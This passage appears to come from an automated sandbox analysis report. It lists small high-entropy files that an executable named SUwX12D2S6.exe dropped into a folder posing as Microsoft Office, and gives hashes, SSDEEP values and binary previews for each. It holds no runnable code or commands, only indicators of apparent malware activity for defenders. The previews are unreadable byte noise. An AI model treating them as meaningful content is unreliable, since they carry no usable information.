Size (bytes):	753
Entropy (8bit):	7.741963617415285
Encrypted:	false
SSDEEP:	12:Yz0xZgEdx2i4V9JLA29VL6Z+AkQag5JAbwC02aHV0Ufo6Pw87r7EtjVcii9a:e0jR6Nk+w+cag5hCyV0UfoUw8jQVbD
MD5:	8EC4239B4CA72A2A1DEE723E7DFFB9FC
SHA1:	D261BE6DF5B06ED8D9971970DC5EA460681A24AA
SHA-256:	3C6A7B996E1CC1754F5F3D87D00E4D53BCEFF6F79629B4ADCDFE80D7EF042B9E
SHA-512:	BB3F3C8F764FED0C9716902B188538F6E5A9638299F63C8751317403D35BADC1B28DACB4A10005294D27A80D906AB9D9E07DD9068B471BF9676EF48A91558A12
Malicious:	false
Preview:	.<?.P..B3.#......AwO.......'A....{S..b.mX..i...>...z.....m....cQ...$.k.Fd.L....E. [.".Y/...qt.5.?....../.\|..;.3.2.....u.H\..FP.M..5p^...hV..`....)h..B=..bU....b.MTDU...&.....K.nGbc.`?.i...>h..p~....r.A..aJ.....(;....q..R.eu..$Jsq......}.MsP.4...F1.~w.2PX851..........BG......"..{.k.....C;"P.5...IN..H...g#.d_.Fr. ..W.hz-Rc..:.&^Y.7j..T....crMAk...0.0..?....U.....y}\J.....>...D.:..\|.,.SZ...{)....G...r.4..%.#..(....G.3w..}.....S...Um2%...1..`...+2A:r..F0..:n....?....X.&...-k.=;J...>B.H...&...Z...\.....:..s......2.+..A.31........!.....<...:.......g.....H6.....^..l...^...q....U.=O.;..q.Vr..D..7...#.v...` .....e..z.\.Q... .}...p..\|z.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120658v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	7.700219166844998
Encrypted:	false
SSDEEP:	24:W6fsIT+3ryL4ORYD5TWWG3sCNXAkP6oFa51wIBMOUq5DVbD:W60IS+L4OKD5TWWG39f6za1wDFD
MD5:	DB4ECFE54695465B656C59BC88A2607D
SHA1:	B6D66C6ABDB47D5B80F55BBC58CFAED9DAFC775E
SHA-256:	81E16B735509ABCC19B87BE4825CBED939D6F086A328C13EA2557E8DFFF5D07B
SHA-512:	89CD9499DFEA74CE3D4550F0DEE7C0A147D9CB693570EE7FAF034708C769BFC3A6452FFD65EF096AF0D1030999E22B41CBFE174FE2D917805D55D43695BEE4CA
Malicious:	false
Preview:	.<?8`.crf`rV;.b..jAVo4..l#....t.c!\\|Q..(....r#......f,Gv.Y+y..H...z...6.M..h.......q......Of...@..._9m...q'...a..E.YH.Q.A.(.1]X..S$.......{.._..X..Zz.=E.R....t'......."..j.R.4j..9F..C^....>.4I.I}..b.iM.u.e....)..A...e..Lt..;Bv.-5..%.'Y.......U3.f.DMp..KuHU.f..&P.........4....y...{j..geN7.;.{.C...8...T..X..S.jdJ..It...,..kg.........5.....I.J.q<b..`..Rj.U..Yv.u...O./..f...<.E.?hs._..#...>\.e...+.X.?...v.1..........H..X...r..s.yI,...@...V..Ah......KQ..A...%....Joc.Z..........f.~..FU&...o&....l];R...&...$).OgG....v/.ol.+.\|3.tW..:<.Ww...x...7...( ./......-.ku;.qx.]....,t...7.L...`..%J...7<....Z....Q.9.~.B[1..E.f.....8B'z............MQZ8.G.(..V...\|..0...YM...y7.#P5...9.!..\S=..Hp.}Y.Qitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120659v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.747564336576169
Encrypted:	false
SSDEEP:	24:RVq2isrYjaoFpVqadsB9oKNn0JRUJVd+6VbD:9pCF7Ddsvo46g+6FD
MD5:	AAC8EC634F22139031016DFDD37083A1
SHA1:	088F256845A3E9BEB839D42C365023C211440035
SHA-256:	C0F7816E5AE394955742DB054669EBA98691BD67E899062B6D73FB0E0E48B649
SHA-512:	15A4BFA29855B8382032919FD48229EBFF64E935C2449279617CA9CD603667E986BF043DC3783C793D59815C0C83EA0E2441FF81243C22F31C77E34B87ADCC41
Malicious:	false
Preview:	.<?.2.h.X.S........i........[f.\a/.n...N.....m......_9H.(Z...Q..!.....N...h.y..(.>'!..F..EW.S..2.v.W1)D...K..Z.2...."8..7.v...g.h!........d......L:h1.....,...?.....]........~M[..\.n.ny...2.,-...p........O.....I.TG..,{.[^.o..X.u...b.G...2.Ix...8....4......i\....9.P.._.(P.f.=........x.+uw....J..A...'i\|#.2.3...+>f..E......{......`.1.....F..4.H..T...Zd....0..#I.~k~..BP....).\|S.......n{.`...X.;..r....v.b{4%...I...)....D<..$....B.[....X FD.2.]...]..'^?./.V.....1mh.]d..........t3.X.?.g....63:?..m....I..b#../c..M...+F..."..V..8....7...$a..]D3..N._.w...:$SMC.H.;.......m.....l5..vW...+s.x...v9.....1..tf.s'..;.'!4.,PhB.....~.A..*.._.$.}..#.L\|i.Hl.c.v...&.b.r.4.8KH.....3.ny..g-^...y.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120660v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.7462598135129515
Encrypted:	false
SSDEEP:	24:klFijJBI3nEniGTzGARhzSa8/KdFvBfHKVbD:k5EniG9SaAKdFZyFD
MD5:	D8EBE7970EDDF8A8C44E54340CF1C00F
SHA1:	BBE9F090A67B0849D13CC26EF62EA4DCCC3E632A
SHA-256:	244ABC27843B70B9829B03A464A41C7218F226C20EC40894433862A3B1CCA48A
SHA-512:	2C8B2AC4E67F082F05DAFA08DC38FB719739A6F72D06367CFAAA84D0ACB029C27C612F063F09167F3A726618598578E3E3E4DC44E14F6EDD4CD12E13DE721104
Malicious:	false
Preview:	.<?....=)...MJ51./. ....H....+m..3...O........V...n.~.......M..a.....^........!.S]Y.3...A.[%".)...uc...6......+T...#........1.&}...m.w...=..m..w..u)..t..7.~..:...@..!6.v.t.D..v0I..`QP.Q.3xKak....B!.SX..z...0..BY...?3..T...........]$.+.w.....[u..]..NG.8.U...X%.k/..h6.&.].....-..tZd=h!...6.:...1..i.....k...}.}...m..6.S.......F6E.6...sA..X..W_/.^....I9z..n....+..{..4....c.oX..<=g2..{...N&M..\.. .M..kJ9....,...@.Z.......A.T.mR^.Z.^.H.JWM:.C.x.C.....mZm.u...h..~R.?s..Ap......v.".~.......1.k..:n....0Y..{.?.u#. d.7e....Qb...U&.l..=i.....j..$._...p..,mSlJk.\.)5x...$...l!.6r .....g7...H&..].S8...t.@..N_pho..j...i5i..}N.~.F`U......"..\|n.G..fkXT.......`.'.+.A..%../r...j.e.........!.V...>itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120661v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	745
Entropy (8bit):	7.702018700654866
Encrypted:	false
SSDEEP:	12:/Z9yokIr3fLguzfdRNDcLxTTBK0tQXe45n2QUEyXEdu6naQU1OxjVcii9a:ReOfs2xDWTk0SZGEQEdBMOZVbD
MD5:	251CE1659468632D41BAFE3B0F90182C
SHA1:	E2F5C3B33F3C1B41846369EA622F64DB11FB0996
SHA-256:	4F38DD9A6A6545FAC17C23D7D8CC100AC391E21569230DD92E7BE5CE1675AB89
SHA-512:	13A66EA14E853943AA2EC344AD51088CE334AC4F92A12EE7B7E6EBA6F60FF5B563F61B6CBA2E5516E4B8680728E3710CFBE6C07281520A6782F895A491F687E2
Malicious:	false
Preview:	.<?.\|).v..?..Z.H.;..qZ.Q.Y....X..h...1c..Co-...}...-.QE....l_....).7.1.....s..2.K.y).l.0.=;.f4..8:.......vrS".....l......e....".6.{.,Q[.uqC._)f.....{..)./...L..r^....f......<.....tLq,s.....'..[.@-<..d.....q..6....u-Al.!....)h.`A.............I...x...z]...3k.}k.Y,.......`..+.q..-[xA\+....j....,...Q...\.............e..P.KS.V...........(.e.^.pt.W.[!..o.a.jY..,..<C..mJ.M.....@.&o.`.t......hk..CO.yC..#.......Y..(6...N..+..O..M."h...<........e....H..`.......<...E....Z#.5i.....2.\.s.@4.s.D.y..H*.y.AE.d.?J...=K......&%8.....H.`#.....A5..<}3>@.[..\|..vSCg...F.a...w.......Y.a..o2nG."....`.F1.S.@..5B....#7`.l"..........H..l..MJ..M...'K.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120662v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.7115395001232
Encrypted:	false
SSDEEP:	24:Jqgy61RGfTjorvi9sUQGjX5fAcAHlzsOZVbD:Jqgy6bVbi904xAHlAcFD
MD5:	9A42EFD4FF161D15D1240815C254FF5A
SHA1:	229EEEE64EC791D1E0B8D1DB776CF01D06BA4D9D
SHA-256:	487424FFCA3C2111B44BAF1667F71F4F0139C403988890146C306C8C33C3B340
SHA-512:	DC2324D406CCC8A852D78C876E044D2EAA6F98EFAAD7B1B5CC3A1CAEDB9231C175D8CA760498F47A7EB390D42A45C6C5C503554CE2B12DB710A3299E529ED0AE
Malicious:	false
Preview:	.<?....L..s....]...2....N9f..>.#G(.j.D..A....b7...`.M-,....G.F..L....ux-.....A9Lz9...0.4+.'\..O.. .r..<&.1.>N...f'..Uo...........W[........<.....P...o....}n.....O.L..\|s;=WJ.5..j..i...7../.je.g...Cr..p...........m.HU...8T0......k.8_...-.s.1.v...t..ew...M(].\rM...K....h..K.C..rD....C.i......t7D..}6....v.:..T...sN.`P......v<......N...w.]..l.P]."A'........TF..Q.c...@N......:.N4..n..U....._lN.PB..,.COQ.~.....v......r1...@.{5L>......BI9A..M....".b...e.Y.?.W..c?..........X..Y.. 2...5..Y.L?d.hc.{n...n..7.u...+...4./...Y.+@.....S...=.Q...>,C.z.\,...`...8...W..&...L...i.3.]..1C.7^G...!..j.SU)<.q.x....A.7..Ze.lP.sU9...^........ ....+.._\...'..d...#...(7..{.6..!.cK...'...u..=....F.N..Pitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120663v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.701243189814802
Encrypted:	false
SSDEEP:	12:Lmx2maMsGupPhWsbTYkeHzLvMEt3O07MPycjOU7Xhtgag2BH7N+YN8M3tjDzjVcq:LUMGeMsHYjHzLr3O07wylU7XhtJXNQZA
MD5:	11E792DA8B3576FF0902B4AF19966279
SHA1:	6681BC7E3868B54D92488E8863897E1EA02E01D2
SHA-256:	1CEAE6D2D611A01C590241DC341520098D34A67F74C77B682EDFD30D63AD7528
SHA-512:	FD4E5293FAB5641CC584052E2E113DEF4C68C28C71AB4A0CA09D6AF4DB01BB9F6268F8C1B40B1B8E42E389D584572ABFB336D864EE724424D9BE6F8851461E4B
Malicious:	false
Preview:	.<?i.... ...[.{.&...._l..D..C.r...{c#S..5Q...4>.....B.%..,6&.C@..TB........C?^...dlC.hD..oo.]6...z.'..`x...W.P...R..z.=..........t...;...Mw\...ta..{x..{y...0;....j.ir.....;.3..:.....g.....6....CS....A..f..N..Yu.wyNA}...?Q.G..F.T0..@.~...j..w...d{e5...0.s....../..b.x8...+.u\|....^$.:.J...3~.(.;.Hr;g..P...:i.a.{.O.24a..%.0..x...m'...L..v.Jd......!...-.P.......\|9.2.q.G.e6r+$.":...Q@....p..._xk..}....u(p.....dr.... n.8P.oD...U-73....L3.9......W3HZa.]=.:...zC.Zm3...S.^v......f-.v...<........&..v...i.....E....dc.....vR..E.S{@F{\|.N..0'...EM....RG.p..&.h..\pX..8.4Lp/..o.u.^G...#)W......}t.}..(.#.L/..\1..e.c-...W;...M....7y.jW.@}U../\v.B._=..G...Ta..\vitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120664v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	836
Entropy (8bit):	7.747475442059414
Encrypted:	false
SSDEEP:	24:0TIvzHq2qjf0jqH4Q5KyFNnthRofO7QVoZVbD:gIbHnqGqY6xofOQViFD
MD5:	735BA3755CB7022ACC8875ADF287F00A
SHA1:	4E578B9ECF1AF382DE6375539F708E796AA41987
SHA-256:	362FA58A5CF2A0D85DDC0DA0FDBD8926169D202644FF0DD31FFC8823E400BFF6
SHA-512:	50D72A2A159A7A7716DA0FBF64AE867A989F9C55654F3115AB87AF9AD5E6328605F7C0682CC089B193EF4C888491CB6479F87D221B2B513D7F15D5330F84EC81
Malicious:	false
Preview:	.<?2....6.z{..A.....^1D...\|.Fg../.CZ.+fX...6I..5L......y......C....P.<.<.S....:...-.h.....n+O<.?..5..._.@.(~..r.{...7dY..Y.o..2.u....h.p^.}..V..i.......9...L^._..3...5,Pu..%h.6.g.......0]`.................q.'.....r.....q..VTGY\|...o.....N.(N..x...p.C..pU...i..`.....z.iCr.....k18.}X.c?+>.....#g.\...:....b..g.d.....8..;.J.$.C.P......N.sh.Ia...n......P.. p3gMPDP.A.S.uC%\..m..a?EvKC a,S..e.f.....D..;..`.?....Y...RIml.v.%.....2..:_.C......h..G..#2`g..:....5.1.....n...6s..?Mrlh..Z.I... ..0..5=s.LE.. ...............5Y"0..(.....N6.v........V.S....1..0..4.o..zq....\|lu...w....Z.(_...W..)..:.8$.y...@....z~..0..x..=...y....g..^kf{.....4...u.w.....I.T`.i.Y.e.PV.L...)'..^/0.l....m...,..h>/.y?........*..X..g'...s[itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120665v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.70714696750453
Encrypted:	false
SSDEEP:	12:LRfzcpwAzcWqMojkKMIrFqq4uoTIDijQlHZhW+dxWnbIBWo2MqsRcsid87QejVcq:LRYR4MYNZqluIIOjQdf5AnbIBWovcndy
MD5:	8D707FFC2AA185076EC45243587D5F0C
SHA1:	B5F7EDE38701BFE73C36914C23DC47F3A120452E
SHA-256:	E5232824F2507F67B264F1AD6942862C1FD5EBCEC7576B5D4C4BBD9DFA5967DE
SHA-512:	2AB6E695C016BF20C704FD3B4E3A7665ABE08E022F935589D1BA630AFD36E34064BB08EBBC6AB25468A48482ED5D77765FA7A067D7F257A3C3A67A8DACDA4750
Malicious:	false
Preview:	.<?z.FNs...Y;6 .P...:B.....a5..Q..2.......c.0.......F...8.vhO.....5U..-,.`-...$...W^...j...g<.O6n...1.C.oJ_S.<.6c..m..X..-w.!..a.s.......e.].U.....]%..k."...S._....7wn..Y...B4...;.......i".`..t...5..v0...W,V.7..'#.5..0.q=.-.....Ay....)7 ..Y.~.\|I.k...Q....t..U"..5..>......D.~...g$..I2&..N.I...\|0..1....!..'U...(Y...V`..d0u>Y..1N...M....lUB.k..j.m..H.T ...2g.A.,].I..\|......6'..:.@......vR..Ky.1I...9.We.._.x.XC.q..]y.%.()...z.....G.w....x'Z..5.[...N..`i..m..k...zNr...\....$B...35z..W<....a......I[.GI.4h.{..#...c...m.....7+Dq]'....@.q..vP...{.9...NW$DE`.\..u...w....{v..M...%...b.H...O.(.V(.7c.....g.&GP5x.]R..O.p.N..F....ki"..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120666v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.736914026752685
Encrypted:	false
SSDEEP:	24:WjUjkruQm3h4Z6v8vHQCTbOLi6JQxv0TVbD:Wojw2F0oCTbSSxvcFD
MD5:	35413A19A3981AEAB033AB7BFF2D70A2
SHA1:	ADBFC8EF6A975D9037DCE7F7E514BF58ABB31464
SHA-256:	86090CED2AF179326A5938B35B1BB1B45B6BFEE3CE87035A61598AB33987170F
SHA-512:	C6B00FEC32947439BC161DAF21A9F9348A02297A3B2E587666E2266FCADCAA777E3D7F5E35C891E406E26108B5CAE474EE3A9AD65572E439DDADFEFDB2272F78
Malicious:	false
Preview:	.<?q.E....H..P...F..s.sY.z...U.p&/n..[....G..9[.8..a?..b..)=..)'.R......i...FB.7<1....H......9....GB_..z.s./R....].....=V..^:..VJ7.L.G..L.$...V(J...$ .....m...3S.<.A..U...;z......M....o..[..Eg.H8r..........h\|.T..z.J.6.L.3.....-....jC.M....T...=5.EB...\ep..E.^L....\|.&..E&.%-.e..h:7....."....Y...[......T.`.ci.3n....ca...]..../u.0......yH8./@.<m....2.2u.s8].,...7J..o)....%G..T^.....D...._......~.{..U.l+x.......['.q.....t..J...L..OIx.K...a.....4....(.i..I....@....?...({nR...Ed..X.......{i..Tv....}.......m..o_O............Wb..2..$..EY....g..z..P"ql....>.m.^L..i.s.:..;B:-f.@....\|4....2..4f.@..:.f...g..l..OA/...U`.......v..N.%.B...ATD...m.....UV..}U..]..... &m.........'...>.b....n........$itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120667v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	742
Entropy (8bit):	7.718933825563325
Encrypted:	false
SSDEEP:	12:Cl3P/os+LpnPy8umqRHO+NmQAaJjg8M6VART83SYAD73K2PEERPyiLcAjVcii9a:C+LpnK8umqRHF5lpgn6VARESYAnK2HfP
MD5:	9C4DDDF6FFA49B25C9F08C23FFF7A3C9
SHA1:	93883FBF587CC2A593AD6CB250379FFCF7E3622B
SHA-256:	4FEDBD8233F7081C4CD88A9F22B80C96C4924CD2410582F543BBF89FC570A1CA
SHA-512:	3185801668226600759B6FE8168B62452A139EAEA7C9FDF3BFBCC0E1BBFDF69BE964CD6351BF3CD8489CDBD60EBEA262361599AA830495A9FD86FE9CF9C649F4
Malicious:	false
Preview:	.<?hs.....<:_.....e..g..X..j.......wf.W..R...t.....J.Uq....E....o.5......\.]...j..... h..m(;)....1.jx..m.....R...../.bf......tL..K...\P.?...\..F.k k......!..m.......3.3.X.A%1..5I;..6.3.d...y..h...QS".....\..I...p....G..._pm. ....1..v.V@e..D.M.K.k9B...vh... .`.........`._R..6....GC..g.O.vP .e.2....!..........E{YJ...<.S.......e..~.c...#.\^[p...8T,[^..gG.&..<.',.d)L...=:...ZvZ.....B.H.....M....?{...P.n...r.M...V.W..G2.NU.$0sK....x>F....F...E6R.Q3,.KS..uY..k.X..1]..I...T&..w;.m$~.}.03\|.y>.....K..`p..Zd.0E..Q....eT6Y.ID..%!(L+@.+.'.7...d..o)...-uw.T=.F..[<O...{qg..5.....z.F..(........A..?-.y..$:b..."..6......... ..dq....dC.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120668v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	803
Entropy (8bit):	7.710171835696728
Encrypted:	false
SSDEEP:	24:JDRIoerge1bdKr+1KtEV8AKRjaueDMLVbD:JVj0tbKViVmjWkFD
MD5:	C65B6DB9D213304BC34CF11983F25C1A
SHA1:	A66F6996759B987C4C165288E82E28C44F281E45
SHA-256:	132AA15EDB0E9A2A04259649225BEB286666F90530B21DF06CEFAC4688CD2FA5
SHA-512:	B3C0FF51B87093FD6B67985716AE41C31ED8F03C4248D5F62DC426275BC6E2DE2FB1FE72FC344CCF24DDBA249FE1EB2558A4E9B161E2055A005528BC337C625C
Malicious:	false
Preview:	.<?.y...q...Tp..... ..l.{Y..7...47.../.v..{HBt=7c.@Yr...=cb.l...M@....?Qu..'.X#8... ....i..o}..y."..N.?.........#E.d......~.u.$`..0.2i.<2P.>k.3.....\JZg.Y....h...)./Y...s....F.d..M....c.j.......c. .d..$P3...8.785.z..K..z..}.9...AU...&0....z......N+...u.....)Uk.S...>.U.\|7........n...9.8.\|............s.5..v]N...M4.........t\|mQ.y.X.."7........5.UI.^..r...5F....C.Y.7.,...M]...JR..d.q.U..(.XX%.Luy......=(R..g+.~U..5.....b.A......j...[.......].\{.R.b...-\|...~.L?....~DGP......L....d....\|...'...X..#..d.4.y..4=.,}.o.w.hR...h.G.e.a..L4.@.#q....kJ..OPW.M........8:..c......L.Q.P.b.<....ROl...s.L.M.(...0..7.....<m...?:....dA.Xye....J=..h..#(.h&j".>.V.bt.T.kh...FQ..4.._..T0.;.....!.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120669v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	750
Entropy (8bit):	7.709496823251217
Encrypted:	false
SSDEEP:	12:xi9TCInv+9JlqI/NLozSYyT1tOIOMMnONmJCsObMcolWZjVcii9a:Q9TCIG1/NLoDW3OIONnO4J5colWhVbD
MD5:	4D29C2378221A7C49ACEF5C064D9F952
SHA1:	3E61665C2F81C2018F83805FC2C9D01B61959267
SHA-256:	CACC08C1D96F0E2EB5A41CCEB88AD7CAF4444B3E0B2D7D8E8A136186EB361EBD
SHA-512:	6C9795B75B00897CE96B9ACFC36FB26DFD178CE59605FA7B85984DDF3AAB9538ED9B27CA760942556D9C30D3131FD5CC773683CFBDCFD31029BC66FC88DF5AD1
Malicious:	false
Preview:	.<?.....C...1..?..\|]3.D.mGp...^....F...3.&.:..BS...9.bv..q..3..!Gr...p..a..8...;..IBI.[..^FD...k.F.c.)..m...tB... .SJ.....qHx.i.=_....L1.(F..k..E.......n.;1.........[./...#.:.x;.......^.t2..Od....C...)....tUC.!B%....n..+....u`y....z....1.w.^..r..~...U....d..xsh.....a.:.D.e$.m..Qo...oQ[...G.....PxP...]J.A...:....53je.DQ_io..a.i...Y.+...F.{$..Kn..m......-.....^......Ove..zb/y..O?.V(..U...Q..S..cT..j..)..w2.+(;..CO.....x..?...2...z.....a.z.V^..~...)....c...V....mC.........H.....^.h......p)..O..."...Te.J....>....4..%~.....?wW..[.;.K..(I..KZ.,Rs.h4q.{!...%.e...k...qG.=.o$..U..t.;...?......`......1.....bvs......9K.$...B... ....lL.0.7.mF...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120670v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	7.714899637069517
Encrypted:	false
SSDEEP:	24:g1f7BuTwUhdggcEkIgZkJtEQ57sIViB84qsZVbD:gtdxgrVD57sIXsZFD
MD5:	DE58D174608493858ECE514DB4BF5D67
SHA1:	B042B356C2CA4DA36F098A6C30E532BFEE878FA8
SHA-256:	F17679C4C3CF390EA0F1F8A81A73BD1849ABA001CE2580993A8AB1FE685AAC4C
SHA-512:	295F51A4E124078D9FE20E8FBA4A7FDA4BA5440092CEC4201C3B012BA9DC136FFE8F5F8A2851E8205C3168C11A2F374B0B5C6350E7F09F765432B1BE08133615
Malicious:	false
Preview:	.<?.b....k.dX>%t..5A.c..~.FNId.....H...ke...'.Aee.I..v..[.....J....b.r0\|.!1..Fu.t..#..6.pc.BOW\.^..q.<..w.....&jQ@.C.nzl..Y..h...?..zrF.}-Q.~..O}..&."....Z+/.H.T.J...F.o.s.o.L......T....V..o.3...y.EZ.=.....%.^..0.[.4.b.D..v.Z;0.`.G.-...@.....H:o..f-.~...p.(..@..H........X.)..c....4Z.$m.......W.]...( .tl..0....q.$...G....O..`pc..j..:79g._.2.....r..7.tKj@.......O...qx2.........H(3.K<..D.Q.u.x.I....R..!g..2.h..I..M.....y.%.......)V..[S.S..W.w..h......@.h/.>5..9.O^_.R).Q..Q...~..@*..(.{.#..=^.f+/0G..._.Lf.....U...su........Ob....?.yo....q..t~/$[3vn..>s.M.i....S.3m...d.G.H...Q]v.o..XF.=.....v.$........J=$.....b..V.K...#.{.V.yi...=Wg......wYc^.!.c/.A3..Z.H.?g.=5.x...r&"..Jj..Y...6....8..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120671v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	766
Entropy (8bit):	7.7332805055912965
Encrypted:	false
SSDEEP:	12:nCGRHTmK0B9JjDYLT0OJJZp5jmz5ahJMexiSEqAh05WuswlXgjVcii9a:nCGRzmvFujjs58ZUSp+0gVbD
MD5:	647B50FA65AF589179B7E2F8F1402914
SHA1:	34B686AB24789BF5757A1E168EBD46866DAA2938
SHA-256:	4EB3E155733AA37C3C5EDDF66ED10A1214F297D43754B3AD0095D8C9E17DFD42
SHA-512:	80AE15B80B1F97378339E75DC60443F85B9113E91A40D5F629D5B03012BC14B89B3422D1C813EA3032EA95C52188225328C48C17167323AEED4E6B90F6C4C57E
Malicious:	false
Preview:	.<?.\|.g.8UXY..V..[.j.....\.2f.(f.T.oA...t.c..z..C7...W.Z%....CQ.h...b..]aA... 66....Z.+%..$..........P.f.s7..w....PDw@.&....:.....y5Q=.z...(........ .w.9....[C1....+.e..4"].H$G.)e.m..g.k.\jz.9...=y.F..^.e_.p.;..a...,.....Z.=...].m.Qc........Uo7.z;x..a../7L.O.E.w..6.\.dbe.mc..3.[}"...........x.....\q.R.Y.)v..\|S....p...9.u..@..S;...M..r....`.%...ya..9.QM..!...!(})...........'.a...h?.^...3..Rp..C9jB...&...pc..N@F._..!...N.....O[...=b...6S.5.[....\|....-......h..J..UzX...Ll.]m...`$_...y......x...&..O..z..1P.@.7.~[id...M........ybR..%.8..C<..tPF..%...V...VBES..S.H.......`..G...k....K.O....W%.S..d.L.e-m..{.aA.\...L..#....1J.7.].....+......itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120672v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	809
Entropy (8bit):	7.748861160054455
Encrypted:	false
SSDEEP:	24:OkCbHjhOMvGQwO1bGDIsVOUi3511BcOwFoWZVbD:O5HjhOEIICi35XpwFoWZFD
MD5:	88B897E7B326CB15B45912478288EE09
SHA1:	09F225C42A25037FF3E1E7F1AD45256DB9AFE054
SHA-256:	1DC515869C2888C538D737A0BA0DC428C11A98A89C7D6B776AED6D62E02E7A70
SHA-512:	2B561CE2EE3FAAA4656ED8B56BAFD2491B3C7AAA37D243BD4D733761C9429D0A4C66A993A3B7CF89633A0D155A61900756AEE14A294EC98F07996F30CE337E91
Malicious:	false
